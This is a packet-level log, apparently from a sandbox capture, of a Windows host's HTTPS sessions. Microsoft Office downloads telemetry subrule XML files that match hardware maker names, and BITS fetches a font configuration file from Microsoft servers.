2024-12-06 23:15:26 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120626" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:26 UTC	192	OUT	GET /rules/rule120627v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:26 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:54 GMT ETag: "0x8DC582B9E8EE0F3" x-ms-request-id: 987987f9-101e-0034-0e02-4896ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231526Z-r1cf579d7789trgthC1EWRkkfc00000001c0000000005fxt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:26 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4e 6e 5d 5b 45 65 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120627" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120625" /> <SR T="2" R="^([Nn][Ee][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:26 UTC	192	OUT	GET /rules/rule120628v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:26 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:26 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C8E04C8" x-ms-request-id: 76d3483c-401e-00a3-2bcc-458b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231526Z-1746fd949bdkw94lhC1EWRxuz4000000052g00000000776g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:26 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120628" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:27 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:27 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:27 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 7b99b195-101e-0017-7009-4847c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231527Z-r1cf579d778zvkpnhC1EWRv23g0000000100000000002z98 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 23:15:27 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:28 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:28 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:28 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 90a12f2a-001e-0079-1603-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231528Z-r1cf579d778zvkpnhC1EWRv23g0000000110000000001mnu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:28 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49764	23.32.185.164	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:28 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-06 23:15:29 UTC	479	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=121450 Date: Fri, 06 Dec 2024 23:15:28 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:28 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:28 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: e4103400-101e-008e-08d4-45cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231528Z-1746fd949bd4w8sthC1EWR700400000004p0000000007uut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:29 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49762	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:28 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:28 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: daea1f5e-401e-005b-68d1-459c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231528Z-1746fd949bdkw94lhC1EWRxuz4000000054g000000000qwk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:29 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.6	49763	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:28 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:28 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 75599bc5-d01e-008e-7c03-48387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231528Z-r1cf579d7789trgthC1EWRkkfc00000001f0000000000vc9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:29 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.6	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:29 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:29 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 8c022bf0-601e-0070-5bcb-45a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231529Z-1746fd949bdhk6hphC1EWRaw3c00000004p000000000a2r4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:29 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.6	49773	23.32.185.164	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:30 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-06 23:15:31 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=253772 Date: Fri, 06 Dec 2024 23:15:30 GMT Content-Length: 55 Connection: close X-CID: 2
2024-12-06 23:15:31 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.6	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:30 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:30 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 1e88822f-901e-0029-0201-48274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231530Z-r1cf579d778mvsklhC1EWRkavg0000000100000000002w6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:31 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.6	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:30 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 23:15:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 23:15:31 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 4626c155-d01e-0017-0ecc-45b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T231531Z-1746fd949bdhk6hphC1EWRaw3c00000004hg00000000qqz5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 23:15:31 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49772	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 23:15:30 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
